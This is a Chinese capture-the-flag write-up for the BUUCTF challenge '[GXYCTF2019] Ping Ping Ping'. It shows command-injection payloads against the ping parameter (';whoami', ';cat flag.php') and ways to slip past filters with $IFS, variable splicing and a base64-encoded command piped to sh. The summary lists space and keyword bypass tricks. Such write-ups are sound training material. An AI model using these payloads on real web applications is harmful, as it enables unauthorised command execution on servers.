web:[GXYCTF2019]Ping Ping Ping

题目

web:[GXYCTF2019]Ping Ping Ping_第1张图片

点进题目,页面只显示/?ip=,没有其他信息

联系到题目名为ping,猜测题目于ping地址有关,先尝试一下

构造payload

http://31e941af-c0d7-49c9-a3fe-84cb13d8adae.node4.buuoj.cn:81/?ip=127.0.0.1

web:[GXYCTF2019]Ping Ping Ping_第2张图片

这里猜测可能为远程命令执行漏洞,尝试一下

构造payload

/?ip=127.0.0.1;whoami

web:[GXYCTF2019]Ping Ping Ping_第3张图片

返回结果正确,猜测正确,还知道主机为linux

使用命令执行查找flag文件

构造payload

/?ip=127.0.0.1;ls

web:[GXYCTF2019]Ping Ping Ping_第4张图片

查看flag文件

构造payload

/?ip=127.0.0.1;cat flag.php

web:[GXYCTF2019]Ping Ping Ping_第5张图片

页面显示不要输入空格,这里参考了其他大佬的wp才知道是空格被过滤了

检查页面源代码,没有显示结果(必须通过检车页面源代码,因为php代码有些东西会被前端自动渲染而不显示)

使用空格绕过方法

构造payload

/?ip=127.0.0.1;cat$IFSflag.php

web:[GXYCTF2019]Ping Ping Ping_第6张图片

说明绕过空格成功

但是还是无法显示flag文件,并且页面显示fxck your flag,猜测可能过滤了关键字flag,需要绕过flag

构造payload

/?ip=127.0.0.1;a=g;cat$3$IFS$1fla$a.php

web:[GXYCTF2019]Ping Ping Ping_第7张图片

页面没有显示,选择查看源代码,看看是否在注释中

得到flag

web:[GXYCTF2019]Ping Ping Ping_第8张图片

总结

#空格绕过方法
$IFS
${IFS}
$IFS$1   //$1改成$加其他数字貌似都行
$IFS$9     后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

#关键字绕过方法

#以flag为例
单引号绕过 fla'g'
双引号绕过 fla"g"
反斜线绕过 f\lag
变量拼接绕过 a=g;cat$IFS$1fla$a.php
$+任意数字绕过 fl$1ag 
Base64绕过 cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
  echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联绕过 就是将反引号内命令的输出作为输入执行
  cat `ls

参考学习文章链接:

[GXYCTF2019]Ping Ping Ping_MiaoA知识的博客-CSDN博客

[GXYCTF2019]Ping Ping Ping_ctf pingpingping_谢添姣的博客-CSDN博客

你可能感兴趣的:(BUUCTF-WEB,网络,网络安全,web安全)